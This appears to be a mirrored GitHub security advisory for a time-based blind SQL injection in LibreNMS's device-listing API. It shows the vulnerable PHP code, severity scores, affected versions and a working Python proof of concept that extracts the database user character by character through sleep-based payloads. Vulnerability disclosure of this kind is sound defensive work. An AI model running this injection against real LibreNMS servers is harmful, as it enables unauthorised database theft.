Lucene search

K
githubGitHub Advisory DatabaseGHSA-JH57-J3VQ-H438
HistoryApr 22, 2024 - 6:37 p.m.

LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction

2024-04-2218:37:35
CWE-89
GitHub Advisory Database
github.com
9
librenms
sql injection
api token
ova image
version 23.9.1
version 24.2.0
database extraction
vulnerability
poc code
python
security impact

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.1%

Summary

Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it’s a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details

in file api_functions.php, line 307 for function list_devices

$order = $request->get('order');
    $type = $request->get('type');
    $query = $request->get('query');
    $param = [];

    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';
    }
    /* ... */
    $devices = [];
    $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
    foreach (dbFetchRows($dev_query, $param) as $device) {

The “order” parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC

For example. this PoC is get current db user

import string
import requests

headers = {
	'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
	for payload in payloads:
		try:
			req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
		except requests.exceptions.ReadTimeout as ex:
			result += payload
			print(result),
		except Exception as e:
			pass

QQ截图20240306181404

Impact

Attacker can extract whole database

Affected configurations

Vulners
Node
librenmslibrenmsRange<24.4.0
CPENameOperatorVersion
librenms/librenmslt24.4.0

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

8.2 High

AI Score

Confidence

Low

0.0004 Low

EPSS

Percentile

9.1%

Related for GHSA-JH57-J3VQ-H438